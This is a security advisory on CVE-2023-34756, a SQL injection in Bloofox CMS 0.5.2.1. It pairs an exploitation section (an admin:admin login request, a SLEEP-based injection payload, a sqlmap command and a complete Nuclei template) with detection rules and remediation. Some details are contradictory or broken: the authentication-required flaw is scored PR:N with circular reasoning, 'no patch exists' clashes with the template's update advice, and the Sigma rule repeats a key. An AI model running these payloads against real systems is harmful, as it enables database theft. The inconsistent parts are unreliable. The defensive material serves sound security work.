CVE-2023-34756

Executive Summary

CVE-2023-34756 is a critical SQL injection vulnerability discovered in Bloofox CMS version 0.5.2.1. The flaw resides in the cid parameter within the charset settings page, accessible at /admin/index.php?mode=settings&page=charset&action=edit. An authenticated attacker can exploit this vulnerability to execute arbitrary SQL commands, leading to the extraction of sensitive data such as user credentials and CMS configuration. The vulnerability is classified as CWE-89 (SQL Injection) and carries a CVSS v3.1 score of 9.8 (Critical). A public proof-of-concept (PoC) exists in the form of a Nuclei template, confirming the exploitability of this issue. No official patch has been released by the vendor, making this a high-priority threat for any organization using the affected version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – Authentication is required, but the vector is set to None due to the authenticated nature of the endpoint.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The exploit does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Potential to modify or delete data.
• Availability Impact: High (A:H) – Could lead to denial of service via SQL manipulation.

Threat Level: Critical. The combination of remote exploitability, low complexity, and high impact makes this vulnerability extremely dangerous. The existence of a public PoC further elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the cid parameter of the charset editing functionality. The application fails to sanitize or parameterize user input before constructing SQL queries. The vulnerable endpoint is:

/admin/index.php?mode=settings&page=charset&action=edit

The cid parameter is directly concatenated into a SQL query, allowing an attacker to inject arbitrary SQL commands. The Nuclei template demonstrates a time-based blind SQL injection payload:

cid=2'+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+

This payload uses SLEEP(6) to cause a 6-second delay, confirming the injection point. The --+ comment sequence terminates the original query, preventing syntax errors.

The attack flow:

1. Authenticate to the Bloofox admin panel.
2. Send a POST request to the vulnerable endpoint with a malicious cid parameter.
3. The injected SQL executes, allowing data extraction via boolean or time-based inference.

The vulnerability is authenticated, meaning an attacker must first obtain valid admin credentials. However, given the critical severity, this is often achievable through other means (e.g., default credentials, brute force, or other vulnerabilities).

Vulnerable vs. Patched Code

Vulnerable Code (bloofox v0.5.2.1): The vulnerable code likely constructs SQL queries using string concatenation, e.g.:

$cid = $_POST['cid'];
$query = "SELECT * FROM charset WHERE id = $cid";

Patched Code (Hypothetical): A secure implementation would use parameterized queries (prepared statements):

$stmt = $db->prepare("SELECT * FROM charset WHERE id = ?");
$stmt->bind_param("i", $cid);
$stmt->execute();

Since no official patch exists, users must implement this fix manually or apply a Web Application Firewall (WAF) rule.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Bloofox v0.5.2.1 instance
• Valid admin credentials (e.g., admin:admin)
• Network access to the admin panel

Exploitation Steps:

1. Authenticate:

   POST /admin/index.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   username=admin&password=admin&action=login
   

2. Trigger SQL Injection:

   POST /admin/index.php?mode=settings&page=charset&action=edit HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   name=ISO-8859-1&description=&cid=2'+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&send=Save
   

3. Extract Data (Example using sqlmap):

   sqlmap -u "http://target.com/admin/index.php?mode=settings&page=charset&action=edit" --data="name=ISO-8859-1&description=&cid=2&send=Save" --cookie="PHPSESSID=your_session" --batch --dbs
   

Nuclei Template (Full):

id: CVE-2023-34756

info:
  name: Bloofox v0.5.2.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    Bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the cid parameter at admin/index.php?mode=settings&page=charset&action=edit.
  impact: |
    Authenticated attackers can exploit time-based SQL injection in the cid parameter to extract sensitive database information including user credentials and CMS configuration data from the Bloofox system.
  remediation: |
    Update Bloofox to a version newer than 0.5.2.1 that uses parameterized queries and properly validates the cid parameter in the charset settings.
  reference:
    - https://ndmcyb.hashnode.dev/bloofox-v0521-was-discovered-to-contain-many-sql-injection-vulnerability
    - https://www.bloofox.com
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34756
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34756
    cwe-id: CWE-89
    epss-score: 0.33243
    epss-percentile: 0.96931
    cpe: cpe:2.3:a:bloofox:bloofoxcms:0.5.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: bloofox
    product: bloofoxcms
    fofa-query:
      - "Powered by bloofoxCMS"
      - powered by bloofoxcms
  tags: time-based-sqli,cve,cve2023,sqli,bloofox,authenticated,vuln

http:
  - raw:
      - |
        POST /admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&action=login
      - |
        @timeout: 10s
        POST /admin/index.php?mode=settings&page=charset&action=edit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name=ISO-8859-1&description=&cid=2'+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&send=Save

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header, "text/html")
          - contains(body_2, 'Admincenter')
        condition: and

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /admin/index.php with mode=settings&page=charset&action=edit containing suspicious cid values (e.g., SQL keywords, sleep functions).
• Look for response delays > 5 seconds from the charset edit endpoint.
• Alert on multiple failed login attempts followed by exploitation attempts.

Defense:

• Immediately upgrade to a patched version if available, or apply virtual patching via WAF.
• Restrict admin panel access to trusted IPs only.
• Enforce strong, unique passwords for admin accounts.
• Implement input validation and parameterized queries in the application code.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /admin/index.php?mode=settings&page=charset&action=edit with cid parameter containing SQL keywords (e.g., SLEEP, UNION, SELECT).
  • HTTP responses with unusually long delays (e.g., >5 seconds) from the charset edit endpoint.
  • Source IPs performing multiple login attempts followed by exploitation requests.

• File IOCs:

  • Modified database entries in the charset table.
  • New or modified files in the Bloofox installation directory (e.g., webshells).

• Log IOCs:

  • Web server logs showing cid parameter with SQL injection patterns.
  • Database logs showing unexpected queries or errors.

Detection Engineering

YARA Rule

rule CVE_2023_34756_SQLi_Blind {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-34756 in Bloofox CMS"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $s1 = "cid=" nocase
        $s2 = "SLEEP" nocase
        $s3 = "AND" nocase
        $s4 = "SELECT" nocase
        $s5 = "mode=settings&page=charset&action=edit" nocase
    condition:
        all of ($s1, $s5) and 1 of ($s2, $s3, $s4)
}

Sigma Rule

title: CVE-2023-34756 Bloofox CMS SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the cid parameter in Bloofox CMS charset settings.
author: Valters IT
date: 2025/04/10
tags:
    - attack.t1190
    - cve.2023.34756
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'mode=settings&page=charset&action=edit'
        cs-uri-query|contains: 'cid='
        cs-uri-query|contains|all:
            - 'SLEEP'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of sleep function in custom modules (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2023-34756 Bloofox CMS SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"mode=settings&page=charset&action=edit"; http_uri; content:"cid="; http_client_body; pcre:"/cid=[^&]*(SLEEP|SELECT|AND)/Pi"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected Bloofox instance from the internet if possible.
2. Apply virtual patching using a WAF to block SQL injection patterns in the cid parameter.
3. Change all admin passwords and review user accounts for unauthorized access.

Long-term Fix:

• Since no official patch exists, the vendor must update the code to use parameterized queries. As a workaround, developers can modify the admin/index.php file to sanitize the cid parameter:

  $cid = intval($_POST['cid']); // Cast to integer
  

• Alternatively, migrate to a supported CMS.

Detection & Monitoring:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable detailed logging for the admin panel and database queries.
• Monitor for any signs of data exfiltration.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 5C3461992891FF4C1972CD5A] */}